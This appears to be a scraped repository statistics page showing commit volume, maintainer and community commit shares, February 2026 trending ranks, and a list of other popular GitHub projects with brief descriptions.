commits
Commit volume by weekday and hour (UTC). Larger dots mean more commits.

Who is committing

last 52 weeks
Maintainer commits2,488 (95%)
Community commits135 (5%)

2,623 commits in total over the last year.

DateListRankStars gained
Feb 4, 2026daily#19+111
Feb 3, 2026daily#14+169
  • trimstray/the-book-of-secret-knowledge

    A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools and more.

    247.8K stars

  • n8n-io/n8n

    Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations.

    206.7K stars · TypeScript

  • yt-dlp/yt-dlp

    A feature-rich command-line audio/video downloader

    195.5K stars · Python

  • ultraworkers/claw-code

    An agent-managed museum exhibit, built in Rust with Gajae-Code / LazyCodex — developed and maintained with no human intervention.

    195.2K stars · Rust

  • farion1231/cc-switch

    A cross-platform desktop All-in-One assistant for Claude Code, Codex, OpenCode, OpenClaw, Grok Build & Hermes Agent. Only official website: ccswitch.io

    140K stars · Rust

  • openai/codex

    Lightweight coding agent that runs in your terminal

    127.8K stars · Rust